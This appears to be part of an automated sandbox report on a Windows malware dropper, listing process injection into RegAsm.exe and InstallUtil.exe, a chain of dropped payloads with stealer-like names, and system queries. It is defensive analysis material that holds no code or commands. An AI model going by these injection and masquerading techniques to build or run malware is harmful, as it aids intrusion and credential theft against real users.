Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 434000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 436000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 4DC000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1048008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 41E000
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 42B000
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 63E000
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A6B008
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 40C000
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 42C000
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: B33008
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44B000
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44E000
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45D000
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 9B1008

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe "C:\Users\user\AppData\Local\Temp\1000002001\gold.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe "C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe "C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe "C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe "C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe "C:\Users\user\AppData\Local\Temp\1000254001\penis.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe "C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe "C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe "C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe "C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe "C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe "C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe "C:\Users\user\AppData\Roaming\esFzLrEqPw.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe "C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Process created: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe "C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Process created: C:\Users\user\AppData\Local\Temp\svchost015.exe C:\Users\user\AppData\Local\Temp\svchost015.exe
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: penis.exe, 00000019.00000002.2964689421.00000000030EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: GetProgmanWindow
Source: axplong.exe, axplong.exe, 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: <~y[Program Manager
Source: penis.exe, 00000019.00000002.2964689421.00000000030EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SetProgmanWindow
Source: file.exe, 00000000.00000002.2227763808.0000000000D55000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.2262996473.0000000000405000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2276480670.0000000000405000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: o<~y[Program Manager

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_0021D312 cpuid

6_2_0021D312

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	15_2_0041E825
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	15_2_00414138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	15_2_0041EA78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	15_2_0041EBA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	15_2_0041E412
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	15_2_0041ECA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	15_2_0041ED76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	15_2_0041465E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	15_2_0041E60D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	15_2_0041E6FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	15_2_0041E6B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	15_2_0041E79A

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000355001\3ab68b6f1f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000355001\3ab68b6f1f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000357001\Microsoft-Edge.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000357001\Microsoft-Edge.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
